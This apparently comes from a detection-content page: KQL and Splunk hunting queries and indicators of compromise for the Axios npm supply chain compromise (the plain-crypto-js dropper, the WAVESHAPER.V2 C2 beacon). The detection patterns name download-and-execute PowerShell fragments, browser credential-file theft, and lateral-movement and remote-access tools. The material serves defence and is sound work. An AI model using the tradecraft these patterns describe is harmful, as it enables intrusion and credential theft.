AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-0115 use cases10 techniques6 kill-chain phases detected
Unit 42 discusses the supply chain attack targeting Axios. Learn about the full attack chain, from the dropper to forensic cleanup. The post Threat Brief: Widespread Impact of the Axios Supply Chain Attack appeared first on Unit 42 .
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — Threat Brief: Widespread Impact of the Axios Supply Chain Attack
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · File hash IOCs — endpoint file/process match · [LLM] Axios npm compromise: plain-crypto-js postinstall dropper execution · [LLM] Axios/UNC1069 Windows stage-2: PowerShell.exe copied to ProgramData\wt.exe + 6202033 dropper
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] WAVESHAPER.V2 C2 beacon: sfrclak[.]com:8000 with spoofed IE8/WinXP user-agent
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("142.11.206.73") or RemoteUrl has_any ("sfrclak.com", "packages.npm.org", "callnrwise.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("142.11.206.73")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("sfrclak.com", "packages.npm.org", "callnrwise.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("sfrclak.com", "packages.npm.org", "callnrwise.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-55182")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-55182")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("ad8ba560ae5c4af4758bc68cc6dcf43bae0e0bbf9da680a8dc60a9ef78e22ff7", "fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf", "cdc05cd30eb53315dadb081a7b942bb876f0d252d20e8ed4d2f36be79ee691fa", "8449341ddc3f7fcc2547639e21e704400ca6a8a6841ae74e57c04445b1276a10", "01c9484abc948daa525516464785009d1e7a63ffd6012b9e85b56477acc3e624", "7b47ed28e84437aee64ffe9770d315c1b984135105f7f608a8b9579517bc0695", "526ab39d1f56732e4e926715aaa797feb13b1ae86882ec570a4d292e7fdc3699", "a98e04dec3a7fe507eb30c72da808bad60bc14d9d80f9770ec99c438faa85a1a", "0d83030ab8bfba675fc1661f0756b6770be7dd80b1b718de3d68a01f2e79a5f4", "92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a", "58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668", "e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09", "f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd", "617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101", "e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff", "506690fcbd10fbe6f2b85b49a1fffa9d984c376c25ef6b73f764f670e932cab4", "4465bdeaddc8c049a67a3d5ec105b2f07dae72fa080166e51b8f487516eb8d07", "5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd", "59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f", "a224dd73b7ed33e0bf6a2ea340c8f8859dfa9ec5736afa8baea6225bf066b248", "5e2ab672c3f98f21925bd26d9a9bba036b67d84fde0dfdbe2cf9b85b170cab71", "20df0909a3a0ef26d74ae139763a380e49f77207aa1108d4640d8b6f14cab8ca", "5b5fbc627502c5797d97b206b6dcf537889e6bea6d4e81a835e103e311690e22", "9c64f1c7eba080b4e5ff17369ddcd00b9fe2d47dacdc61444b4cbfebb23a166c")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("ad8ba560ae5c4af4758bc68cc6dcf43bae0e0bbf9da680a8dc60a9ef78e22ff7", "fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf", "cdc05cd30eb53315dadb081a7b942bb876f0d252d20e8ed4d2f36be79ee691fa", "8449341ddc3f7fcc2547639e21e704400ca6a8a6841ae74e57c04445b1276a10", "01c9484abc948daa525516464785009d1e7a63ffd6012b9e85b56477acc3e624", "7b47ed28e84437aee64ffe9770d315c1b984135105f7f608a8b9579517bc0695", "526ab39d1f56732e4e926715aaa797feb13b1ae86882ec570a4d292e7fdc3699", "a98e04dec3a7fe507eb30c72da808bad60bc14d9d80f9770ec99c438faa85a1a", "0d83030ab8bfba675fc1661f0756b6770be7dd80b1b718de3d68a01f2e79a5f4", "92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a", "58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668", "e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09", "f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd", "617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101", "e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff", "506690fcbd10fbe6f2b85b49a1fffa9d984c376c25ef6b73f764f670e932cab4", "4465bdeaddc8c049a67a3d5ec105b2f07dae72fa080166e51b8f487516eb8d07", "5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd", "59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f", "a224dd73b7ed33e0bf6a2ea340c8f8859dfa9ec5736afa8baea6225bf066b248", "5e2ab672c3f98f21925bd26d9a9bba036b67d84fde0dfdbe2cf9b85b170cab71", "20df0909a3a0ef26d74ae139763a380e49f77207aa1108d4640d8b6f14cab8ca", "5b5fbc627502c5797d97b206b6dcf537889e6bea6d4e81a835e103e311690e22", "9c64f1c7eba080b4e5ff17369ddcd00b9fe2d47dacdc61444b4cbfebb23a166c")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — Threat Brief: Widespread Impact of the Axios Supply Chain AttackExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1547.001
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Threat Brief: Widespread Impact of the Axios Supply Chain Attack
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("node.js", "setup.js", "wt.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("/Library/Caches/com.apple.act.mond", "/tmp/ld.py") or FileName in~ ("node.js", "setup.js", "wt.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Threat Brief: Widespread Impact of the Axios Supply Chain Attack ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("node.js","setup.js","wt.exe"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*/Library/Caches/com.apple.act.mond*" OR Filesystem.file_path="*/tmp/ld.py*" OR Filesystem.file_name IN ("node.js","setup.js","wt.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
Hunts the install-time foothold of the v1.14.1 / v0.30.4 Axios compromise: node.exe spawned by npm executing setup.js inside a node_modules\plain-crypto-js directory, or the package directory being written. This is the moment the malicious postinstall hook fires before forensic cleanup wipes evidence.
Rationale: Anchored on the article-specific malicious dependency name 'plain-crypto-js', the dropper file 'setup.js', the XOR key 'OrDeR_7077', and the decoy cleanup file 'package.md' — none of these are generic supply-chain template strings. Cross-checked against Mandiant/GTIG, Elastic Security Labs, and Microsoft Security write-ups which all confirm the same package name and dropper.
Cross-checked against:
• https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package
• https://www.elastic.co/security-labs/axios-one-rat-to-rule-them-all
• https://www.microsoft.com/en-us/security/blog/2026/04/01/mitigating-the-axios-npm-supply-chain-compromise/
• https://github.com/axios/axios/issues/10636
ATT&CKT1195.002T1059.007T1546.016
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let pkgPaths = dynamic([@"node_modules\plain-crypto-js", "node_modules/plain-crypto-js"]);
union
( DeviceFileEvents
| where Timestamp > ago(30d)
| where FolderPath has_any (pkgPaths) or FileName =~ "setup.js" and FolderPath has "plain-crypto-js"
| project Timestamp, DeviceName, ActionType, FolderPath, FileName, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
),
( DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName in~ ("npm.exe","node.exe","npm-cli.js")
or ProcessCommandLine has_any ("plain-crypto-js","OrDeR_7077",@"node_modules\plain-crypto-js\setup.js","node_modules/plain-crypto-js/setup.js")
| project Timestamp, DeviceName, AccountName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
)
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("npm.exe","npm-cli.js","node.exe","node") AND (Processes.process IN ("*\\node_modules\\plain-crypto-js\\*","*/node_modules/plain-crypto-js/*","*setup.js*") OR Processes.process IN ("*OrDeR_7077*","*plain-crypto-js*"))) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_hash | `drop_dm_object_name(Processes)` | append [ | tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_path IN ("*\\node_modules\\plain-crypto-js\\*","*/node_modules/plain-crypto-js/*") OR Filesystem.file_name IN ("package.md")) by Filesystem.dest Filesystem.user Filesystem.process_name Filesystem.file_path Filesystem.file_name | `drop_dm_object_name(Filesystem)` ] | convert ctime(firstTime) ctime(lastTime)
[LLM] Axios/UNC1069 Windows stage-2: PowerShell.exe copied to ProgramData\wt.exe + 6202033 dropperInstallationHigh
Detects the Windows-specific stage-2 of the Axios supply chain compromise: the legitimate Windows PowerShell binary is copied/renamed to %PROGRAMDATA%\wt.exe and executed against staged scripts (6202033.ps1 / 6202033.vbs in %TEMP%, system.bat in ProgramData), with a Run-key persistence pointing back to wt.exe. The renamed-but-signed PowerShell technique evades signature-based controls.
Rationale: Uses the article's exact stage-2 indicators: wt.exe under %PROGRAMDATA%, the 6202033.ps1/.vbs scripts in %TEMP%, and system.bat — none of which are generic. Filename collision with the legitimate Windows Terminal (wt.exe) is mitigated by pinning the path to %PROGRAMDATA% rather than WindowsApps. Confirmed by Microsoft, Elastic, and GTIG write-ups of the same intrusion chain.
Cross-checked against:
• https://www.microsoft.com/en-us/security/blog/2026/04/01/mitigating-the-axios-npm-supply-chain-compromise/
• https://www.elastic.co/security-labs/axios-one-rat-to-rule-them-all
• https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package
ATT&CKT1036.003T1059.001T1059.005T1547.001
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
let badPaths = dynamic([@"C:\ProgramData\wt.exe", @"C:\ProgramData\system.bat"]);
let badNames = dynamic(["6202033.ps1","6202033.vbs"]);
union
( DeviceFileEvents
| where Timestamp > ago(30d)
| where (FolderPath in~ (badPaths)) or (FileName in~ (badNames))
or (FileName =~ "wt.exe" and FolderPath startswith @"C:\ProgramData")
| project Timestamp, DeviceName, ActionType, FolderPath, FileName, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
),
( DeviceProcessEvents
| where Timestamp > ago(30d)
| where FolderPath =~ @"C:\ProgramData\wt.exe"
or ProcessCommandLine has_any (@"C:\ProgramData\wt.exe","6202033.ps1","6202033.vbs",@"C:\ProgramData\system.bat")
or (FileName =~ "wt.exe" and FolderPath !startswith @"C:\Program Files\WindowsApps")
| project Timestamp, DeviceName, AccountName, FolderPath, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessParentFileName, SHA256
),
( DeviceRegistryEvents
| where Timestamp > ago(30d)
| where RegistryKey has @"\CurrentVersion\Run"
| where RegistryValueData has_any (@"ProgramData\wt.exe","6202033")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName, InitiatingProcessCommandLine
)
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_path IN ("C:\\ProgramData\\wt.exe","*\\ProgramData\\wt.exe") OR Processes.process IN ("*\\ProgramData\\wt.exe*","*6202033.ps1*","*6202033.vbs*","*\\ProgramData\\system.bat*") OR (Processes.process_name="wt.exe" AND NOT Processes.process_path IN ("*\\WindowsApps\\*","*\\Microsoft.WindowsTerminal*"))) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process_path Processes.process Processes.process_hash | `drop_dm_object_name(Processes)` | append [ | tstats summariesonly=true count from datamodel=Endpoint.Filesystem where (Filesystem.file_path IN ("C:\\ProgramData\\wt.exe","C:\\ProgramData\\system.bat","*\\AppData\\Local\\Temp\\6202033.ps1","*\\AppData\\Local\\Temp\\6202033.vbs")) by Filesystem.dest Filesystem.user Filesystem.process_name Filesystem.file_path Filesystem.file_hash | `drop_dm_object_name(Filesystem)` ] | append [ | tstats summariesonly=true count from datamodel=Endpoint.Registry where Registry.registry_path IN ("*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run*") AND Registry.registry_value_data IN ("*\\ProgramData\\wt.exe*","*6202033*") by Registry.dest Registry.user Registry.registry_path Registry.registry_value_name Registry.registry_value_data | `drop_dm_object_name(Registry)` ] | convert ctime(firstTime) ctime(lastTime)
Hunts the unified C2 beacon shared across all three OS implants of WAVESHAPER.V2: HTTP POST to sfrclak[.]com on TCP/8000 (or its resolved IP 142.11.206.73), 60-second cadence, and the highly anachronistic 'mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)' user-agent — a string that should never appear in modern enterprise traffic.
Rationale: Pivots on the article's three uniquely-named C2 indicators (sfrclak[.]com, hard-coded port 8000, and the IE8/WinXP/Trident-4 UA shared across all WAVESHAPER.V2 implants) plus the typosquat path packages.npm[.]org used to camouflage POSTs as registry traffic. The IE8 UA in particular is essentially zero-FP on modern fleets. C2 host and UA confirmed by Elastic Security Labs and GTIG independently of Unit 42.
Cross-checked against:
• https://www.elastic.co/security-labs/axios-one-rat-to-rule-them-all
• https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package
• https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html
ATT&CKT1071.001T1071T1132.001T1036
Data sourcesNetwork_Traffic.All_TrafficWeb.Web
let badHosts = dynamic(["sfrclak.com","142.11.206.73","packages.npm.org"]);
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any (badHosts)
